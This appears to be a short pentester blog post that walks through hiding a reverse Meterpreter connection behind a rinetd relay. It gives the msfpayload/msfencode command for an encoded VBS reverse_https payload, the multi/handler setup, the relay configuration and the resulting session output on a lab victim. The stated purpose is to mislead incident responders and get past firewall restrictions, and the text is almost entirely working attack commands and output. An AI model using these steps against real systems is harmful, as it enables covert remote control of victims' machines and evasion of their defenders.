A pentester might find his/her self in a situation where they might want to obfuscate the out going connection of their payload.
Now, my first idea was to use rinetd, but also a netcat relay came to mind as well. Nevertheless, my netcat relay did not work for this case.
Before I continue on, I should be explicit on what I want to do:
Create a payload that connects reversely to a host that acts a relay to the attackers host.
What are the benefits to this? Obfuscation of course. When the incidence response team takes action and possibly gets a copy of the payload, to reverse engineer it, they will notice that it connects to a host that may seem benign.
Also, the corporate firewall might only allow out going connections on specific ports and the pentester’s server might have to listen on some odd ball port due to ISP restrictions.
For redirecting I’ll be using rinetd. My three hosts are which as follows:
Host A = 192.168.1.2 (Attacker)
Host B = 192.168.1.3 (Relay host)
Host C = 192.168.1.4 (Victim)
For my payload I’ll be using a new method implemented into metasploit, which is located here:
http://blog.metasploit.com/2010/04/persistent-meterpreter-over-reverse.html
First lets create the payload:
msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.3 LPORT=8080 R | msfencode -t loop-vbs -c 10 -o rineme.vbs
Next let’s setup our attacker’s handler on host 192.168.1.2:
msf> use multi/handler
msf exploit(handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf exploit(handler) > set LPORT 8081
LPORT => 8081
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > exploit
[*] HTTPS listener started on https://192.168.1.2:8081/
[*] Starting the payload handler..
Next I’ll set up the relay host to relay my connection.
rinetd -c config.conf
Where config.conf is simply:
192.168.1.3 8080 192.168.1.2 8081
This way, when the payload is executed and connects to the relay host (192.168.1.3) on port 8080, the relay host will redirect the connection to the attacker’s host at 192.168.1.2 at port 8081.
Once the payload gets executed on the victim host (192.168.1.4) we should see something like this:
[*] 192.168.1.3:36716 Request received for /A0KET…
[*] 192.168.1.3:36716 Staging connection for target 0KET received…
[*] Patching Target ID 0KET into DLL
[*] 192.168.1.4:49286 Request received for /B0KET…
[*] 192.168.1.4:49286 Stage connection for target 0KET received…
[*] Meterpreter session 1 opened (192.168.1.2:8081 -> 192.168.1.4:49286)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1..
meterpreter > ipconfig
Software Loopback Interface 1
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC: 08:00:27:a1:52:61
IP Address : 192.168.1.4
Netmask : 255.255.255.0
More to come…
